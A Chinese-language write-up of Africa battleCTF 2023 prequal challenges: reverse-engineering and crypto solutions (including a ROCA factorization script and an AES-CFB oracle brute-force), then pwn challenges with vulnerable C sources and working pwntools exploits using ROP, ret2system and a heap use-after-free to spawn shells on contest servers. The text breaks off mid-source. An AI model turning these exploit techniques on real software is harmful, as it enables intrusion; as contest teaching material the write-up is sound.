[Africa battleCTF 2023 prequal] CPR部分

非州的比赛,说是总体简单,但也有几个难题0解,估计依然是等不到WP。

这个界面还挺好,除了慢以外没大问题。

Rev

 SEYI

题目很简单,程序报病毒,win11上的defender关上不容易呀。我的电脑怎么就不能听我的呢。

 Welcome

代码很短,就那么两句,一个简单的运算

a = 0x522D1B20F6
b = 0x1ee2eeee
c = a+b
d = c^0xaa84aaa
bytes.fromhex(hex(d)[2:])
#b'RAVEN'

 Infinity

这题出来得晚,又有时差,都没看着就结束了。

反编译后啥都看不出来。然后看汇编。这题还是比较有意思的,原来确实见过不少题在汇编里藏代码,基本都是通过花指令,这个直接在里边放push

这些push会导致栈不平衡,显然有问题,把这些东西拿出来,转下码

>>> p64(0x5f4f7572)
b'ruO_\x00\x00\x00\x00'
>>> p64(0x6c654354)
b'TCel\x00\x00\x00\x00'
>>> p64(0x467b4265)
b'eB{F\x00\x00\x00\x00'
>>> p64(0x796f6e64)
b'dnoy\x00\x00\x00\x00'
>>> p64(0x47616c61)
b'alaG\x00\x00\x00\x00'
>>> p64(0x7869657d)
b'}eix\x00\x00\x00\x00'
>>>
ruO_TCeleB{FdnoyalaG}eix
反转
_Our leCT F{Be yond Gala xie}
手工拼
battleCTF{Beyond_OurGalaxie} 

发现他是反着写的,而且是片断,手工拼一下,然后被全,猜下就OK了

这句是超越我们的银河吧,非洲很牛啊

babyrev

 代码里有个隐藏段

.hidden:0000000000004040                               _hidden segment align_32 public 'DATA' use64
.hidden:0000000000004040                               assume cs:_hidden
.hidden:0000000000004040                               ;org 4040h
.hidden:0000000000004040                               public __TMC_END__
.hidden:0000000000004040                               ; char _TMC_END__[]
.hidden:0000000000004040 71 70 69 69 61 74 52 49 55 7B+__TMC_END__ db 'qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}',0Ah,0
.hidden:0000000000004040 50 76 71 70 5F 55 67 74 33 5F+                                        ; DATA XREF: deregister_tm_clones↑o
.hidden:0000000000004040 55 44 44 53 5F 53 74 6E 5F 64+                                        ; deregister_tm_clones+7↑o
.hidden:0000000000004040 30 44 21 5F 38 35 38 36 34 72+                                        ; register_tm_clones↑o
.hidden:0000000000004040 31 32 37 37 71 75 38 31 39 35+                                        ; register_tm_clones+7↑o
.hidden:0000000000004040 70 71 71 74 70 36 35 34 30 34+                                        ; main+58↑o
.hidden:0000000000004040 39 34 70 72 34 36 7D 0A 00    _hidden ends
.hidden:0000000000004040

然后随波逐流一键解密

qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}
caser 15
battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46} 

checker

 这跟上边是同一题吗?

gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}

battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?}

Mazui

 两道题差不多。汇编里一堆运算

   0:   b8 66 9b 20 62          mov    eax, 0x62209b66
   5:   35 12 ef 41 00          xor    eax, 0x41ef12
   a:   90                      nop
   b:   bb 46 ac 24 6c          mov    ebx, 0x6c24ac46
  10:   81 f3 12 ef 41 00       xor    ebx, 0x41ef12
  16:   31 c9                   xor    ecx, ecx
  18:   b9 23 bc 3a 46          mov    ecx, 0x463abc23
  1d:   81 f1 12 ef 41 00       xor    ecx, 0x41ef12
  23:   89 ca                   mov    edx, ecx
  25:   ba 77 83 31 6d          mov    edx, 0x6d318377
  2a:   81 f2 12 ef 41 00       xor    edx, 0x41ef12
  30:   be 64 80 0c 5f          mov    esi, 0x5f0c8064
  35:   90                      nop
  36:   81 f6 12 ef 41 00       xor    esi, 0x41ef12
  3c:   bb 7a bc 2f 49          mov    ebx, 0x492fbc7a
  41:   81 f3 12 ef 41 00       xor    ebx, 0x41ef12
  47:   b9 6f 83 2d 65          mov    ecx, 0x652d836f
  4c:   81 f1 12 ef 65 81       xor    ecx, 0x8165ef12
  52:   f1                      int1
  53:   12 ef                   adc    ch, bh
  55:   41                      inc    ecx
  56:   00 31                   add    BYTE PTR [ecx], dh
  58:   c0 ff c0                sar    bh, 0xc0
  5b:   31 db                   xor    ebx, ebx
  5d:   cd 80                   int    0x80

拿出来手工处理一下,(最后一步按代码来没用0x41ef12不对,异或看来是用同一个数)

a = bytes.fromhex(hex(0x62209b66^0x41ef12)[2:])
a += bytes.fromhex(hex(0x6c24ac46^0x41ef12)[2:])
a += bytes.fromhex(hex(0x463abc23^0x41ef12)[2:])
a += bytes.fromhex(hex(0x6d318377^0x41ef12)[2:])
a += bytes.fromhex(hex(0x5f0c8064^0x41ef12)[2:])
a += bytes.fromhex(hex(0x492fbc7a^0x41ef12)[2:])
a += bytes.fromhex(hex(0x652d836f^0x41ef12)[2:])

#battleCTF{S1mple_MovInShell}

Crypto

BackToOrigin

埃及字母,手搓后来再改下,原义是 afrecafamely改下加壳即可,

Blind

&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]

先BASE85再解盲文,在厨子上盲文叫braille

 

base85
⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}
盲文
BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}

battleCTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}  <----这个正确 

ROCYOU

题目只给了e,n,c,网站问师傅,师傅说roca_attack

from Crypto.Util.number import bytes_to_long


FLAG = bytes_to_long(open("flag.txt").read().encode())

n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
e = 65537

c = pow(FLAG, e, n)

print(f"c = {c}")

#c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504

ROCA_ATTACK 分解方法,第一回听说。按师傅的方法来到网站上搜着两段程序

#sage_functions.py
from sage.all_cmdline import *

def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
    """
    Taken from https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/coppersmith.sage
    Coppersmith revisited by Howgrave-Graham

    finds a solution if:
    * b|modulus, b >= modulus^beta , 0 < beta <= 1
    * |x| < XX
    More tunable than sage's builtin coppersmith method, pol.small_roots()
    """
    #
    # init
    #
    dd = pol.degree()
    nn = dd * mm + tt

    #
    # checks
    #
    if not 0 < beta <= 1:
        raise ValueError("beta should belongs in [0, 1]")

    if not pol.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    #
    # calculate bounds and display them
    #
    """
    * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)

    * we know LLL will give us a short vector v such that:
    ||v|| <= 2^((n - 1)/4) * det(L)^(1/n)

    * we will use that vector as a coefficient vector for our g(x)

    * so we want to satisfy:
    2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)

    so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
    (it's important to use N because we might not know b)
    """
    #
    # Coppersmith revisited algo for univariate
    #

    # change ring of pol and x
    polZ = pol.change_ring(ZZ)
    x = polZ.parent().gen()

    # compute polynomials
    gg = []
    for ii in range(mm):
        for jj in range(dd):
            gg.append((x * XX) ** jj * modulus ** (mm - ii) * polZ(x * XX) ** ii)
    for ii in range(tt):
        gg.append((x * XX) ** ii * polZ(x * XX) ** mm)

    # construct lattice B
    BB = Matrix(ZZ, nn)

    for ii in range(nn):
        for jj in range(ii + 1):
            BB[ii, jj] = gg[ii][jj]

    BB = BB.LLL()

    # transform shortest vector in polynomial
    new_pol = 0
    for ii in range(nn):
        new_pol += x ** ii * BB[0, ii] / XX ** ii

    # factor polynomial
    potential_roots = new_pol.roots()

    # test roots
    roots = []
    for root in potential_roots:
        if root[0].is_integer():
            result = polZ(ZZ(root[0]))
            if gcd(modulus, result) >= modulus ** beta:
                roots.append(ZZ(root[0]))
    return roots
from sage.all import *
from tqdm import tqdm


def solve(M, n, a, m):
    # I need to import it in the function otherwise multiprocessing doesn't find it in its context
    from sage_functions import coppersmith_howgrave_univariate

    base = int(65537)
    # the known part of p: 65537^a * M^-1 (mod N)
    known = int(pow(base, a, M) * inverse_mod(M, n))
    # Create the polynom f(x)
    F = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))
    (x,) = F._first_ngens(1)
    pol = x + known
    beta = 0.1
    t = m+1
    # Upper bound for the small root x0
    XX = floor(2 * n**0.5 / M)
    # Find a small root (x0 = k) using Coppersmith's algorithm
    roots = coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)
    # There will be no roots for an incorrect guess of a.
    for k in roots:
        # reconstruct p from the recovered k
        p = int(k*M + pow(base, a, M))
        if n%p == 0:
            return p, n//p

def roca(n):

    keySize = n.bit_length()

    if keySize <= 960:
        M_prime = 0x1b3e6c9433a7735fa5fc479ffe4027e13bea
        m = 5

    elif 992 <= keySize <= 1952:
        M_prime = 0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1e
        m = 4
        print("Have you several days/months to spend on this ?")

    elif 1984 <= keySize <= 3936:
        M_prime = 0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413cebd2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6
        m = 7
        print("You'll change computer before this scripts ends...")

    elif 3968 <= keySize <= 4096:
        print("Just no.")
        return None

    else:
        print("Invalid key size: {}".format(keySize))
        return None

    a3 = Zmod(M_prime)(n).log(65537)
    order = Zmod(M_prime)(65537).multiplicative_order()
    inf = a3 // 2
    sup = (a3 + order) // 2

    # Search 10 000 values at a time, using multiprocess
    # too big chunks is slower, too small chunks also
    chunk_size = 10000
    for inf_a in tqdm(range(inf, sup, chunk_size)):
        # create an array with the parameter for the solve function
        inputs = [((M_prime, n, a, m), {}) for a in range(inf_a, inf_a+chunk_size)]
        # the sage builtin multiprocessing stuff
        from sage.parallel.multiprocessing_sage import parallel_iter
        from multiprocessing import cpu_count

        for k, val in parallel_iter(cpu_count(), solve, inputs):
            if val:
                p = val[0]
                q = val[1]
                print("found factorization:\np={}\nq={}".format(p, q))
                return val

if __name__ == "__main__":
    # Normal values
    #p = 88311034938730298582578660387891056695070863074513276159180199367175300923113
    #q = 122706669547814628745942441166902931145718723658826773278715872626636030375109
    #a = 551658, interval = [475706, 1076306]
    # won't find if beta=0.5
    # p = 80688738291820833650844741016523373313635060001251156496219948915457811770063
    # q = 69288134094572876629045028069371975574660226148748274586674507084213286357069
    # #a = 176170, interval = [171312, 771912]
    # n = p*q
    n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
    # For the test values chosen, a is quite close to the minimal value so the search is not too long
    roca(n)

#https://blog.csdn.net/qq_51999772/article/details/123146784

 所n输上,然后在linux下用sage运行,大约10多分钟就得到p,q的分解。

rsa拿到分解也就结束了

'''
┌──(kali㉿kali)-[~/ctf/0624]
└─$ sage -python roca_attack.py
 66%|████████████████████████████████████████████████████████▍                             | 40/61 [19:26<10:11, 29.10s/it]found factorization:
p=127801155916875524149457561567678575565270601000365665873572024750823913157383
q=113917064871970833547038329106470040388258358281464605006613652518914797349747
 66%|████████████████████████████████████████████████████████▍                             | 40/61 [19:39<10:19, 29.48s/it]
'''

p=127801155916875524149457561567678575565270601000365665873572024750823913157383
q=113917064871970833547038329106470040388258358281464605006613652518914797349747
c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
e = 65537
d = inverse_mod(e,(p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'battleCTF{ROCA_shork_me_0x0x0x}\n'

Gooss

结了一个多项式加密的密文,有5个参数

import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)

enc = []
for x in flag:
    res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
    enc.append(res)
print(enc)

enc = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]

头部是已知的battle{,可以列式子用z3求参数,然后就可以爆破了

from z3 import *

s = Solver()
a,b,c,d,e = Ints('a b c d e')
s.add(And(a>=4, a<=9999999999))
s.add(And(b>=4, b<=9999999999))
s.add(And(c>=4, c<=9999999999))
s.add(And(d>=4, d<=9999999999))
s.add(And(e>=4, e<=9999999999))

s.add(2*a*98**4 + b*98**3 + c*98**2 + d*98 + e == enc[0]) #b
s.add(2*a*97**4 + b*97**3 + c*97**2 + d*97 + e == enc[1]) #a
s.add(2*a*116**4 + b*116**3 + c*116**2 + d*116 + e == enc[2]) #t
s.add(2*a*108**4 + b*108**3 + c*108**2 + d*108 + e == enc[4]) #l
s.add(2*a*101**4 + b*101**3 + c*101**2 + d*101 + e == enc[5]) #e

s.check()
s.model()

a = 6709636436
c = 7386429784
b = 7748795321
d = 62359624
e = 5008041292

for v in enc:
    for i in range(0x20, 0x7f):
        if 2*a*i**4 + b*i**3 + c*i**2 + d*i + e == v:
            print(chr(i), end='')
            
#battleCTF{Maths_W1th_Gauss_0x0x0x}

SEA

又一个头回见的题AES_CFB爆破

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom

iv = urandom(16)
key = urandom(16)
FLAG = b"battleCTF{REDACTED}"

def encrypt(data):
    cipher = AES.new(key, AES.MODE_CFB, iv)
    return cipher.encrypt(pad(data, 16))


print(encrypt(FLAG).hex())
while True:
	print(encrypt(input("> ").encode()).hex())

提供了密文和加密攻击。

CFB方式先将iv加密然后与明文异或得到密文,但是默认情况下只使用这8bit,然后下一段加密又得到8位

如果直接输入密文便能得到第1个字节然后把第1字节改为明文就能得到第2字节,但由于这时输入没有用hex所以输入bytes会有问题。所以换了个角度,爆破k字节明文,然后与得到第k字节密文比较,相同则正确。这样一个个爆破下去就OK了

因为网站上搜到的图都看不懂,浪费不少时间,一点点试才知道这么容易。

from pwn import *

p = remote('chall.battlectf.online', 20001)
#context.log_level = 'debug'

enc = bytes.fromhex(p.recvline().decode().strip())[:-1]
#v = enc
flag = b''
while flag[-1:] != b'}':
    fl = len(flag)
    for i in range(0x20,0x7f):
        p.sendlineafter(b'>', flag + bytes([i]))
        v = bytes.fromhex(p.recvline().decode().strip())
        if v[fl] == enc[fl]:
            flag += bytes([i])
            print(flag)
            break

#battleCTF{m057_f4m0us_AES_0x0x0x}

Sahara

给了一堆代码,还写成pem其实就是个简单的RSA

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode

FLAG = open("flag.txt").read()

def load_public_key():
    with open('pub.pem', 'rb') as pubf:
        pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())
    return pubkey

def encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str:
    enc =  pubkey.encrypt(ptxt.encode(), padding.PKCS1v15())
    return b64encode(enc).decode()

def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey):
    if isinstance(key, rsa.RSAPublicKey):
        pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
    else:
        pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())
    return pem

if __name__ == '__main__':
    pub_key = load_public_key()
    pub_key_pem = get_pem(pub_key).decode()
    enc_flag = encrypt(pub_key, FLAG)
    with open('flag.enc', 'w') as f:
        f.write(enc_flag)

 解开这个公钥,原来n是个安全平方数

n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
e = 65537
enc = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA=='

from gmpy2 import iroot 
from Crypto.Util.number import *
from base64 import *
p = iroot(n,2)[0]  
d = invert(e, p*(p-1))
m = pow(bytes_to_long(b64decode(enc),d,n)
long_to_bytes(m)
#battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}

Own e

这个未完成,首先是模求不出来,可以输入不同的e,这些e会生成稍有不同的m,然后用rsa加密。如果能求出n来就有办法了。可惜,不成!

from Crypto.Util.number import getPrime
from os import urandom


def message(secret, e):
    m = f'The invite token is {secret.hex()} and it is encrypted with e = {e}.'.encode()
    return int.from_bytes(m, 'big')

def encrypt(data):
    out = []
    i = 0
    for pin in data:
        out.append((int(pin) + 5)^i)
        i+=1
    return out

def main():

    flag = open("flag.txt").read()

    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q

    secret = urandom(64)

    for _ in range(3):
        e = int(input("\nEnter your e: "))
        if e == 1: raise Exception('send me better values!')
        m = message(secret, e)
        c = encrypt(str(pow(m, e, n)))
        print(f'c = {c}')

    guess = input("Enter your invite code:")
    if secret != bytes.fromhex(guess): raise Exception('incorrect Invite code!')

    print(f'\nFLAG :{flag}')

if __name__ == '__main__':
    try:
        main()
    except:
        print('better luck next time!')

PWN

国外不大重视PWN题,总体比较简单

Black Rop

32位,给了原码,一共4个测试通过即可,32位栈传参结构是 fun,ret,arg1,arg2... 由于下一步的ret会使传参混乱,所以ret这一般是按arg的数量写pop

//gcc -m32 -no-pie rop_black.c -o rop_black

#include <stdio.h>
#include <stdlib.h>


int check_file = 0;
int african = 0;
int invite_code = 0;
int capcha = 0;


void read_flag(){
	if(!(check_file && african && invite_code && capcha)) {
		printf("403|You aren't allowed to read the flag!\n");
		exit(1);
	}
	
	char flag[65];
	FILE * f = fopen("flag.txt","r");
	if (f == NULL){
		printf("flag.txt doesn't exist, try again on the server\n");
		exit(0);
	}
    fgets( flag, 65, f );
    printf("%s\n",flag);
    fflush(stdout);
}

void check_flag(char* file) {
	if(strcmp(file, "flag.txt") == 0) {
		check_file = 1;
	}
}

void check_african() {
	african = 1;
}

void check_invitecode(int code) {
	if(code == 0xbae) {
		invite_code = 1;
	}
}

void check_capcha(int login, int auth) {
	if(login == 0x062023 && auth == 0xbf1212) {
		capcha = 1;
	}
}

void vuln()
{
	char buffer[10];

	printf("check your identity and read the flag.\n");
	gets(buffer);
}

int main(){

	vuln();
}
from pwn import *

p = remote('chall.battlectf.online', 1004)
#p = process('./rop_black')
context(arch='i386', log_level = 'debug')

pop4 = 0x080493e8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop1 = 0x0804901e # pop ebx ; ret
pop2 = 0x080493ea # pop edi ; pop ebp ; ret
pop3 = 0x080493e9 # pop esi ; pop edi ; pop ebp ; ret

#gdb.attach(p, "b*0x804936a\nc")

pay = b'A'*0x12+ flat(0, 0x80492ce, 0x8049293, pop1, 0x804a033, 0x80492e8, pop1, 0xbae, 0x804930b, pop2, 0x62023 , 0xBF1212, 0x80491c2)
p.sendlineafter(b"check your identity and read the flag.\n", pay)
p.recvline()
p.interactive()

AM1

同样是给了源码

//gcc -o am1 am1.c -no-pie
#include <stdio.h>
#include <stdlib.h>


void print_file(char * file)
{
	char buffer[20];
	FILE * inputFile = fopen( file, "r" );
	if ( inputFile == NULL ) {
        printf( "Cannot open file %s\n", file );
        exit( -1 );
    }
    fgets( buffer, 65, inputFile );
    printf("Output: %s",buffer);
}

int main(){


    puts("Welcome to Africa battleCTF.");
    puts("Tell us something about you: ");
    char buf[0x30];
    gets( buf );

    return 0;
}

溢出到file但需要一个参数,这里要先读文件名到bss

from pwn import *

p = remote('chall.battlectf.online', 1003)
#p = process('./am1')
context(arch='amd64', log_level = 'debug')

#gdb.attach(p, "b*0x40121f\nc")

elf = ELF('./am1')
pop_rdi = 0x000000000040128b # pop rdi ; ret
p.sendlineafter(b"Tell us something about you: \n", b'A'*0x30 + flat(0, pop_rdi, 0x404800, elf.plt['gets'], pop_rdi, 0x404800, elf.sym['print_file']))
p.sendline(b'flag.txt\x00')
p.recvline()
p.interactive()

youpi

同样是有后门,但后门有检查,直接跳到后门后边即可。

// gcc -o youpi youpi.c
#include <stdio.h>
#include <stdlib.h>

int check = 0;

void youpiii(){
	
	if(check){
		char buffer[20];
		FILE * inputFile = fopen("flag.txt", "r" );
		if ( inputFile == NULL ) {
		    printf( "Cannot open file flag.txt\n" );
		    exit( -1 );
		}
		fgets( buffer, 65, inputFile );
		printf("FLAG: %s",buffer);
	}

}

void main(){

	puts("Welcome to Africa battleCTF.");
    puts("Tell us about your country: ");
    char buf[0x30];
    gets( buf ); 
}
from pwn import *

p = remote('chall.battlectf.online', 1005)
#p = process('./youpi')
context(arch='amd64', log_level = 'debug')

#gdb.attach(p, "b*0x40121f\nc")

elf = ELF('./youpi')

p.sendlineafter(b": \n", b'A'*0x30 + flat(0x404800, 0x401188))
p.recvline()
p.interactive()
#battleCTF{Right_jump_860332b9b9c47839ec975f0ecb32a51e}

AXOVI

这回没给源码,但基本还是一样,有 system,就是少处/bin/sh需要调用一下gets读到bss

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  system("echo 'Welcome to Africa battleCTF.\nTell us something about : '");
  gets(v4, argv);
  return 0;
}
from pwn import *

#p = process('./axovi')
p = remote('chall.battlectf.online', 1002)
context(arch='amd64', log_level='debug')

elf = ELF('./axovi')
pop_rdi = 0x00000000004011bb # pop rdi ; ret

p.sendline(b'a'*0x30+ flat(0, pop_rdi, 0x404800, elf.plt['gets'], pop_rdi, 0x404800, elf.plt['system']))
p.sendline(b'/bin/sh\x00')

p.interactive()
#battleCTF{ROP_sw33t_R0P}

battleCTF Event

又给了源码,一个64位的乘法,因为有溢出并且恰好没有逆,所以不能直接算

#include <stdio.h>
#include <unistd.h>

int main(){
	long pass;
	puts("Welcome to battleCTF Event portal.");
	printf("Enter you invite code to participe:");
	scanf("%s",&pass);
	if(pass * 0x726176656e70776eu == 0x407045989b3284aeu){
		execl("/bin/sh", "sh", 0);
	}
	else
		puts("\nWrong password ..!");
	return 0;
}

这个z3可以算

a = 0x407045989b3284ae
b = 0x726176656e70776e
from z3 import *
v = BitVec('v', 64)
s = Solver()
s.add(v*b == a)
s.check()
#sat
s.model()
#[v = 7959954447263493729]
v = 7959954447263493729
hex(v*b)
#'0x315b3e6591f610b0407045989b3284ae'

 然后输入即可

from pwn import *
p = remote('chall.battlectf.online', 1001)
p.sendlineafter(b':' ,p64(7959954447263493729))
p.interactive()

Danxome

一个堆题,一个管理块跟一个数据块,free里未清指针有UAF

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MINON_SIZE 10
#define MAX_NAME_SIZE 0x40

typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);

enum MinonType {
    AWHOUANGAN,
    GBETO
};

struct Minon
{
    speakFunc speak;
    enum MinonType type;
    char* name;
};

struct Danxome
{
    int numOfMinon;
    Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };

void Nawi() {
    system("/bin/sh");
}

void print(char* str) {
    system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
    printf(": %s\n", str);
}

void speak(char* name) {
    print(name);
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  alarm(60);
}

int menu() {
    int choice = -1;
    print("Welcome to Danxome Military zone !!!");
    print("1) Add Minon");
    print("2) Remove Minon");
    print("3) Report Minon Name");
    print("0) Exit");
    
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < 5) {
            break;
        }
        printf("??\n");
    }
    printf("\n");

    return choice;
}

void add_minon() {
    int choice;
    int size;
    int idx;
    Minon* minon;

    if (danxome.numOfMinon >= MINON_SIZE) {
        print("[ERROR] The Military zone is full.");
        return;
    }

    for (idx = 0; idx < MINON_SIZE; idx++) {
        if (danxome.minons[idx] == NULL) {
            break;
        }
    }

    minon = (Minon*) malloc(sizeof(Minon));

    print("Type of Minon?");
    print("1) Awhouangan");
    print("2) Gbeto");

    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice == 1) {
            minon->type = AWHOUANGAN;
            break;
        } 
        if (choice == 2) {
            minon->type = GBETO;
            break;
        }
        printf("??\n");
    }

    minon->speak = speak;
    print("How long is the name? (max: 64 characters)");   
    while (1) {
        printf("> ");
        scanf("%d", &size);
        if (size >= 0 && size < MAX_NAME_SIZE) {
            minon->name = (char*) malloc(size);
            break;
        } 
        printf("??\n");
    }

    print("Name of minon?");
    printf("> ");
    read(0, minon->name, size);

    danxome.minons[idx] = minon;
    printf("> [DEBUG] Minon is added to Military zone %d\n", idx);
    danxome.numOfMinon++;
}

void remove_minon() {
    int choice;

    if (danxome.numOfMinon <= 0) {
        print("[ERROR] No minon in the Military zone.");
        return;
    }

    print("Zone number? (0-9)");
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < MINON_SIZE) {
            break;
        }
        printf("??\n");
    }

    if (danxome.minons[choice] == NULL) {
        print("[ERROR] No minon in this zone.");
        return;
    }

    free(danxome.minons[choice]->name);
    free(danxome.minons[choice]);        #uaf

    printf("> [DEBUG] Minon is removed from zone %d\n", choice);
    
    danxome.numOfMinon--;
}

void report_name() {
    int choice;

    if (danxome.numOfMinon <= 0) {
        print("[ERROR] No minon in the Military zone.");
        return;
    }

    print("Zone number? (0-9)");
    while (1) {
        printf("> ");
        scanf("%d", &choice);
        if (choice >= 0 && choice < MINON_SIZE) {
            break;
        }
        printf("??\n");
    }

    if (danxome.minons[choice] == NULL) {
        print("[ERROR] No minon in this zone.");
        return;
    }

    danxome.minons[choice]->speak(danxome.minons[choice]->name);
}

int main(int argc, char const *argv[]) {
    int leave = 0;
    init();
    while(!leave) {
        switch (menu()) {
        case 1:
            add_minon();
            break;
        case 2:
            remove_minon();
            break;
        case 3:
            report_name();
            break;
        default:
            leave = 1;
        }
        printf("\n");
    }
    return 0;
}

建俩块(数据块与管理块不同)free后再建数据块与管理块相同的块,数据块就会使用UAF管理块,写上后门(这里不光有system,还有bin/sh)

from pwn import *

#p = process('./minon')
p = remote('chall.battlectf.online', 1006)
context(arch='amd64', log_level='debug')

elf = ELF('./minon')

def add(size, msg):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', str(size).encode())
    p.sendafter(b'> ', msg)

def free(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())

def show(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', str(idx).encode())

add(0x20, b'/bin/sh\x00')
add(0x30, b'/bin/sh\x00')
free(0)
free(1)
add(0x18, flat(elf.plt['system'],0, 0x402008))

#gdb.attach(p)
#pause()

show(0)

p.interactive()
#battleCTF{Heap_Naw!_p0w3r_e39d10e4d30e61cd613dd75a698d3d94}

Danxome2

这次把数据块的大小固定与数据块相同,当释放后再申请会按原来的顺序申请回来,不能直接控制管理块。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MINON_SIZE 10
//#define MAX_NAME_SIZE 0x40

typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);

enum MinonType {
    AWHOUANGAN,
    GBETO
};

struct Minon
{
    speakFunc speak;
    enum MinonType type;
    char* name;
};

struct Danxome
{
    int numOfMinon;
    Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };

void print(char* str) {
